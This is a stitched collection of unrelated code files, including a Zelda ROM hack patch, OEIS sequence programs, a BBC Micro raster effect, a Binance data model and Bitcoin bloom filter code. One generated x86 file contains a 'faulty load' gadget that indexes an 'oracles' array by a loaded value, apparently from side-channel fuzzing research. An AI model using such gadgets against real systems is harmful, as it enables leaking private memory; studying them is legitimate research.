org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal)
NOP #4
org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal)
NOP #4
;----------------------------------------------------
;-- Blind Maiden (in jail)
;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)
;NOP #4
;----------------------------------------------------
;-- Blind (Maiden) in Jail
org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)
JSL Sprite_ShowMessageFromPlayerContact_Edit
;----------------------------------------------------
;-- Kiki
org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees
STZ $1CE8 : NOP
org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees
NOP #4
org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees
STZ $1CE8 : NOP
org $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door
NOP #4
;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees
;NOP #4
;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees
;NOP #4
;----------------------------------------------------
;-- Witch
org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
NOP #4
;----------------------------------------------------
;-- Breaking Ganon's Tower Seal
org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage)
NOP #4
;----------------------------------------------------
;-- Bombos tablet
org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional)
JSL.l DialogBombosTablet
;----------------------------------------------------
;-- Ether tablet
org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional)
JSL.l DialogEtherTablet
;----------------------------------------------------
;-- Agahnim 1 Defeated
org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal)
;;;JSL.l AddInventory_incrementBossSwordLong
;NOP #4
;----------------------------------------------------
;-- Old Mountain Man Encounter Text
org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact)
JSL Sprite_ShowMessageFromPlayerContact_Edit
org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong)
JML OldMountainMan_TransitionFromTagalong_Edit
;----------------------------------------------------------
;-- Purple Chest Encounter Text
org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch)
JSL Sprite_ShowMessageFromPlayerContact_Edit
;----------------------------------------------------------
;-- Middle aged man opens purple chest
org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return)
JSL Sprite_ShowMessageFromPlayerContact_Edit
;----------------------------------------------------------
;-- Smiths
;-- Ribbit
org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;-- Ask us to do anything
org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;-- Your sword is tempered!
org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;-- Brought dwarf home
org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- 10 rupees to temper
org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- Yes, I'm sure
org $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- We'll take your sword
org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional)
JSL ItemSet_SmithSword
;NOP #4
;-- Smiths can't make your sword any stronger
org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Not enough magic text
org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage)
NOP #4
;----------------------------------------------------------
;-- Witch's Assistant
org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;----------------------------------------------------------
;-- Bottle Vendor
org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Digging Game Guy
org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Flute Boy
org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- 300 rupee npcs
org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;----------------------------------------------------------
;-- Chest Game Guy
org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Desert Palace plaque (opening desert with book)
org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Uncle gives sword
org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2)
JSL Sprite_ShowMessageFromPlayerContact_Edit
;----------------------------------------------------------
;===================================
;-- Escort Text
;-- dw coordinate, coordinate, flag, text message number, tagalong number
;===================================
org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1)
dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text
dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot)
dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here"
dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this"
dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever"
dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary
dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!"
dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!"
dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room
;=====================================================
;-- Multiworld dialog override hook for item pickups
;=====================================================
org $0eee88
jml alttp_multiworld_dialog
; Ancilla_ReceiveItem
org $08C553
jsl alttp_mw_no_rupees
;=====================================================
;-- Multiworld gameplay hooks for message queue
;=====================================================
org $02a499 ; Overworld (JSL Player_Main)
jsl alttp_mw_handle_queue
org $028849 ; Dungeon (JSL Player_Main)
jsl alttp_mw_handle_queue
; Dark room temporary light cone disable
;
org $08C531
jsl DisableTemporaryCone : nop #3
; Hook the beginning of Save & Quit to add soft-reset restrictions
org $00fa2b ; Bank00.asm : 8724 (LDA.b #$17 : STA $10)
jsl OnBeginSaveAndQuit
|
; A291537: a(n) = 8^n - 3*2^n + 5.
; Submitted by Jamie Morken(s2)
; 7,57,493,4053,32677,261957,2096773,16776453,134216197,1073738757,8589928453,68719464453,549755789317,4398046461957,35184371990533,281474976514053,2251799813292037,18014398508695557,144115188074283013,1152921504603701253,9223372036848484357,73786976294825623557,590295810358680485893,4722366482869594882053,37778931862957061046277,302231454903657092349957,2417851639229257946759173,19342813113834065989992453,154742504910672532751777797,1237940039285380271677898757,9903520314283042192750542853
mov $1,8
pow $1,$0
mov $2,2
pow $2,$0
sub $1,$2
mov $0,$1
mul $0,4
add $0,$2
mul $0,2
add $0,5
|
SECTION code_fp_am9511
PUBLIC cam32_sdcc_fdiv2
EXTERN cam32_sdcc_read1, asm_am9511_fdiv2_fastcall
.cam32_sdcc_fdiv2
call cam32_sdcc_read1
jp asm_am9511_fdiv2_fastcall
|
#pragma once
#include <derivejson/derivejson.hpp>
#include <json.hpp>
using json = nlohmann::json;
#include <vector>
#include <string>
using namespace std;
namespace binance {
namespace models {
DEFINE_MODEL(Order,
(string, symbol, "symbol")
(long, order_id, "orderId")
(string, client_order_id, "clientOrderId")
(string, price, "price")
(string, orig_qty, "origQty")
(string, executed_qty, "executedQty")
(string, status, "status")
(string, time_in_force, "timeInForce")
(string, type, "type")
(string, side, "side")
(string, stop_price, "stopPrice")
(string, iceberg_qty, "icebergQty")
(long, time, "time"))
}
}
|
// Test provided by Karu
//SEQ test 1. Test when one is 0.
//
// Michael McKinley (mckinley)
lbi r1, 0xff
lbi r2, 0x00
seq r3, r1, r2
halt
|
; A207836: a(n) = n*A052530(n)/2.
; 0,3,16,75,336,1463,6240,26199,108640,445995,1815792,7341347,29505840,117982815,469672384,1862393775,7359403968,28991540051,113892526800,446305331451,1744950085648,6808253393415,26513475730464,103072540115975,400058834841120,1550464509091707,6000723890790832,23194828101288915,89549252013968880,345342436905785519,1330410859914364800,5120322203021241183,19688372388943678336,75639123899576218275,290354454959879100816,1113718066395189063083,4268788960691354757840,16350583006196891515479,62585852833332379886560,239412922174250640813495,915293901482906065915872,3497254852387199140261067,13355466116965956682224240,50976079882447066819608195,194472993871804001333001904,741560987173725262228600575,2826427180639940651709411648,10768127547084455437404889871,41007346028674709864965512000,156102328839823280997882770931,594004995398477173261212658768,2259488684753311551610130599515,8591630845543814832297313593744,32658188073138904834487976457895,124098053847950586934171999113120,471410603546701615559360794813287,1790193732850069783503396872539552,6796285241670394978597568690124315,25793981516587566063260120174675760,97868857041887275543792539160671539,371239277237035105256935302789663600
lpb $0
sub $0,1
add $1,1
add $2,$1
add $1,1
add $1,$2
add $1,$0
add $2,$1
lpe
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x12777, %rsi
lea addresses_A_ht+0x1d8d9, %rdi
dec %r10
mov $46, %rcx
rep movsq
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0xc237, %rcx
and %rbp, %rbp
mov (%rcx), %esi
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x17f77, %rsi
lea addresses_A_ht+0x1ca82, %rdi
nop
nop
sub %rbx, %rbx
mov $25, %rcx
rep movsl
nop
nop
and %r15, %r15
lea addresses_normal_ht+0x1eb29, %rbx
sub $28354, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%rbx)
nop
inc %r15
lea addresses_WT_ht+0x1cc37, %rsi
lea addresses_A_ht+0x68cf, %rdi
nop
nop
sub $43546, %rbx
mov $13, %rcx
rep movsq
cmp %rsi, %rsi
lea addresses_D_ht+0x4fb7, %rbp
nop
nop
nop
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
movups %xmm5, (%rbp)
nop
nop
inc %rsi
lea addresses_normal_ht+0x17177, %rsi
lea addresses_normal_ht+0x2c07, %rdi
dec %rdx
mov $82, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_normal_ht+0x1ef7, %rsi
nop
dec %rdx
mov (%rsi), %r10d
inc %rdx
lea addresses_A_ht+0x5cb7, %rsi
lea addresses_UC_ht+0x31f7, %rdi
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $86, %rcx
rep movsw
nop
sub %rdx, %rdx
lea addresses_normal_ht+0xbd77, %rsi
nop
sub %rcx, %rcx
movups (%rsi), %xmm3
vpextrq $1, %xmm3, %r15
nop
nop
nop
dec %r15
lea addresses_UC_ht+0xe677, %rsi
lea addresses_A_ht+0x577, %rdi
nop
nop
sub $7877, %rbp
mov $91, %rcx
rep movsq
cmp $16888, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r9
push %rbp
push %rcx
push %rdx
// Faulty Load
lea addresses_normal+0x5f77, %rdx
xor $19740, %r9
vmovaps (%rdx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rbp
lea oracles, %rdx
and $0xff, %rbp
shlq $12, %rbp
mov (%rdx,%rbp,1), %rbp
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 6}}
{'dst': {'same': True, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'45': 3399, 'b4': 1, '49': 16, 'e4': 1, '00': 7, '44': 38, '62': 1, '41': 2}
45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 49 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
|
\ -*- mode:beebasm -*-
\ ******************************************************************
\ * VERTICAL STRETCH ON TOP OF FREQUENCY GRID FX
\ ******************************************************************
\\ TODO: Describe the FX and requirements.
\\ Describe the track values used:
\\ rocket_track_zoom => zoom factor [0-63] <- 1x to 10x height
\\ rocket_track_y_pos => y position of middle line [0-127] <- middle of screen is 63
\ ******************************************************************
\ Update FX
\
\ The update function is used to update / tick any variables used
\ in the FX. It may also prepare part of the screen buffer before
\ drawing commences but note the strict timing constraints!
\
\ This function will be called during vblank, after any system
\ modules have been polled.
\
\ The function MUST COMPLETE BEFORE TIMER 1 REACHES 0, i.e. before
\ raster line 0 begins. If you are late then the draw function will
\ be late and your raster timings will be wrong!
\ ******************************************************************
.fx_stretch_grid_update
{
jsr fx_vertical_stretch_update
lda dv:sta fx_stretch_grid_dv_LO+1
lda dv+1:sta fx_stretch_grid_dv_HI+1
jmp fx_frequency_update_grid
}
\\ TODO: Make this comment correct for this framework!
\ ******************************************************************
\ Draw FX
\
\ The draw function is the main body of the FX.
\
\ This function will be exactly at the start* of raster line 0 with
\ a stablised raster. VC=0 HC=0|1 SC=0
\
\ This means that a new CRTC cycle has just started! If you didn't
\ specify the registers from the previous frame then they will be
\ the default MODE 0,1,2 values as per initialisation.
\
\ If messing with CRTC registers, THIS FUNCTION MUST ALWAYS PRODUCE
\ A FULL AND VALID 312 line PAL signal before exiting!
\ ******************************************************************
\\ Limited RVI
\\ Display 0,2,4,6 scanline offset for 2 scanlines.
\\ <--- 102c total w/ 80c visible and hsync at 98c ---> <2c> ..13x <2c> = 128c
\\ Plus one extra for luck! (i.e. we wait for 13 but C9 counts 14 in total.)
\\ R9 = 13 + current - next
\\
\\ Assumes R4=0, i.e. one row per CRTC cycle.
\\ Scanline 0 has normal R0 width 128c.
\\ Must set R9 before final scanline to 13 + current - next. eg. R9 = 13 + 0 - 2 = 11
\\ Set scanline 1 to have width 102c.
\\ At 102c set R0 width to 2c and skip remaining 26c.
\\ At 0c reset R0 width to 128c.
\\
\\ Select CRTC register 0, i.e. lda #0:sta &fe00
\\
\\ cycles --> 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 126 0
\\ lda.sta..........WAIT_CYCLES 18 ..............................lda..sta ...........|
\\ #1 &fe01 #127 &fe01
\\ scanline 1 2 3 4 5 6 7 8 9 10 11 xx 0 1 2
\\ |
\\ --> missed due to end of CRTC frame +
\\
\\ NB. There is no additional scanline if this is not the end of the CRTC frame.
.fx_stretch_grid_draw
{
\\ <=== HCC=0 (scanline=-2)
\\ Update v <-- could be done in update.
clc:lda v:adc dv:sta v ; 11c
lda v+1:adc dv+1:sta v+1 ; 9c
\\ 20c
\\ Row 1 screen start
tax ; 2c
lda #13:sta &fe00 ; 8c
lda fx_stretch_vram_table_LO, X ; 4c
sta &fe01 ; 6c
lda #12:sta &fe00 ; 8c
lda fx_stretch_vram_table_HI, X ; 4c
sta &fe01 ; 6c
\\ 40c
\\ Row 1 scanline
lda #9:sta &fe00 ; 8c
lda v+1:asl a:and #6 ; 7c
\\ 2-bits * 2
tax ; 2c
eor #&ff ; 2c
sec ; 2c
adc #13 ; 2c
clc ; 2c
adc prev_scanline ; 3c
\\ R9 must be set before final scanline of the row.
sta &fe01 ; 6c
stx prev_scanline ; 3c
\\ 35c
WAIT_CYCLES 21
ldy #0 ; 2c
\\ <=== HCC=118 (scanline=-2)
FOR stripe,0,7,1
lda vgc_freq_array+stripe, Y ; 4c
ora #&80+(stripe*&10) ; 2c column <= could factor out?
sta &fe21 ; 4c
NEXT
\\ 10c * 8 = 80c
\\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed.
\\ Set R0=101 (102c)
stz &fe00 ; 6c
lda #101:sta &fe01 ; 8c
WAIT_CYCLES 10
\\ At HCC=102 set R0=1.
lda #1:sta &fe01 ; 8c
\\ <=== HCC=102
\\ Burn R0=1 scanlines.
lda #15:sta grid_row_count ; 5c
clc ; 2c
ldx #4 ; 2c
WAIT_CYCLES 9
\\ At HCC=0 set R0=127
lda #127:sta &fe01 ; 8c
\\ <=== HCC=0 (scanline=0)
stx &fe00 ; 6c
stz &fe01 ; 6c
\\ Now 2x scanlines per loop.
.char_row_loop
{
\\ Update v
lda v
.*fx_stretch_grid_dv_LO
adc #0:sta v ; 8c
lda v+1
.*fx_stretch_grid_dv_HI
adc #0:sta v+1 ; 8c
\\ 16c
\\ Row N+1 screen start
tax ; 2c
lda #13:sta &fe00 ; 8c
lda fx_stretch_vram_table_LO, X ; 4c
sta &fe01 ; 6c
lda #12:sta &fe00 ; 8c
lda fx_stretch_vram_table_HI, X ; 4c
sta &fe01 ; 6c
\\ 38c
\\ NB. Must set R9 before final scanline of the row!
\\ Row N+1 scanline
lda #9:sta &fe00 ; 8c
lda v+1:asl a:and #6 ; 7c
\\ 2-bits * 2
tax ; 2c
eor #&ff ; 2c
sec ; 2c
adc #13 ; 2c
clc ; 2c
adc prev_scanline ; 3c
sta &fe01 ; 6c
stx prev_scanline ; 3c
\\ 37c
lda grid_row_count ; 3c
cmp #1 ; 2c
bne colour_path
; 2c
jmp set_black_palette ; 3c
.colour_path
; 3c
WAIT_CYCLES 7
\\ 15c
\\ <=== HCC=118 (scanline=even)
FOR stripe,0,7,1
lda vgc_freq_array+stripe, Y ; 4c
ora #&80+(stripe*&10) ; 2c column <= could factor out?
sta &fe21 ; 4c
NEXT
\\ 10c * 8 = 80c
.^return_from_black_palette
\\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed.
\\ Set R0=101 (102c)
stz &fe00 ; 6c
lda #101:sta &fe01 ; 8c
WAIT_CYCLES 8
clc ; 2c
\\ At HCC=102 set R0=1.
lda #1:sta &fe01 ; 8c
\\ <=== HCC=102
\\ Burn R0=1 scanlines.
\\ Increment freq_array index every 30 scanlines.
{
dec grid_row_count ; 5c
bne alt_path ; jump away and back.
; 2c
tya:adc #8:tay ; 6c
lda #15 ; 2c
sta grid_row_count ; 3c
\\ 18c
}
.^return_from_alt_path
\\ At HCC=0 set R0=127
lda #127:sta &fe01 ; 8c
\\ <=== HCC=0 (scanline=even)
clc ; 2c
dec row_count ; 5c
beq scanline_last ; 2c
jmp char_row_loop ; 3c
}
.scanline_last
\\ Currently at scanline 2+118*2=238, need 312 lines total.
\\ Remaining scanlines = 74 = 37 rows * 2 scanlines.
lda #4: sta &FE00
lda #36: sta &FE01
\\ R7 vsync at scanline 272 = 238 + 17*2
lda #7:sta &fe00
lda #17:sta &fe01
\\ If prev_scanline=6 then R9=7
\\ If prev_scanline=4 then R9=5
\\ If prev_scanline=2 then R9=3
\\ If prev_scanline=0 then R9=1
{
lda #9:sta &fe00
clc
lda #1
adc prev_scanline
sta &fe01
}
\\ Row 31
WAIT_SCANLINES_ZERO_X 2
\\ R9=1
lda #9:sta &fe00
lda #1:sta &fe01
lda #0:sta prev_scanline
rts
.alt_path ; 8c
WAIT_CYCLES 7
jmp return_from_alt_path ; 3c
\\ 18c
.set_black_palette ; 10c
FOR stripe,0,7,1
lda #&80+(stripe*&10)+PAL_black ; 2c
sta &fe21 ; 4c
NEXT
\\ 6c * 8 = 48c
WAIT_CYCLES 34
jmp return_from_black_palette ; 3c
\\ 95c
}
|
// Copyright (c) 2012-2019 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "bloom.h"
#include "hash.h"
#include "primitives/transaction.h"
#include "script/script.h"
#include "script/standard.h"
#include "streams.h"
#include <math.h>
#include <stdlib.h>
#include <boost/foreach.hpp>
#define LN2SQUARED 0.4804530139182014246671025263266649717305529515945455
#define LN2 0.6931471805599453094172321214581765680755001343602552
using namespace std;
CBloomFilter::CBloomFilter(unsigned int nElements, double nFPRate, unsigned int nTweakIn, unsigned char nFlagsIn) :
/**
* The ideal size for a bloom filter with a given number of elements and false positive rate is:
* - nElements * log(fp rate) / ln(2)^2
* We ignore filter parameters which will create a bloom filter larger than the protocol limits
*/
vData(min((unsigned int)(-1 / LN2SQUARED * nElements * log(nFPRate)), MAX_BLOOM_FILTER_SIZE * 8) / 8),
/**
* The ideal number of hash functions is filter size * ln(2) / number of elements
* Again, we ignore filter parameters which will create a bloom filter with more hash functions than the protocol limits
* See https://en.wikipedia.org/wiki/Bloom_filter for an explanation of these formulas
*/
isFull(false),
isEmpty(false),
nHashFuncs(min((unsigned int)(vData.size() * 8 / nElements * LN2), MAX_HASH_FUNCS)),
nTweak(nTweakIn),
nFlags(nFlagsIn)
{
}
inline unsigned int CBloomFilter::Hash(unsigned int nHashNum, const std::vector<unsigned char>& vDataToHash) const
{
// 0xFBA4C795 chosen as it guarantees a reasonable bit difference between nHashNum values.
return MurmurHash3(nHashNum * 0xFBA4C795 + nTweak, vDataToHash) % (vData.size() * 8);
}
void CBloomFilter::insert(const vector<unsigned char>& vKey)
{
if (isFull)
return;
for (unsigned int i = 0; i < nHashFuncs; i++) {
unsigned int nIndex = Hash(i, vKey);
// Sets bit nIndex of vData
vData[nIndex >> 3] |= (1 << (7 & nIndex));
}
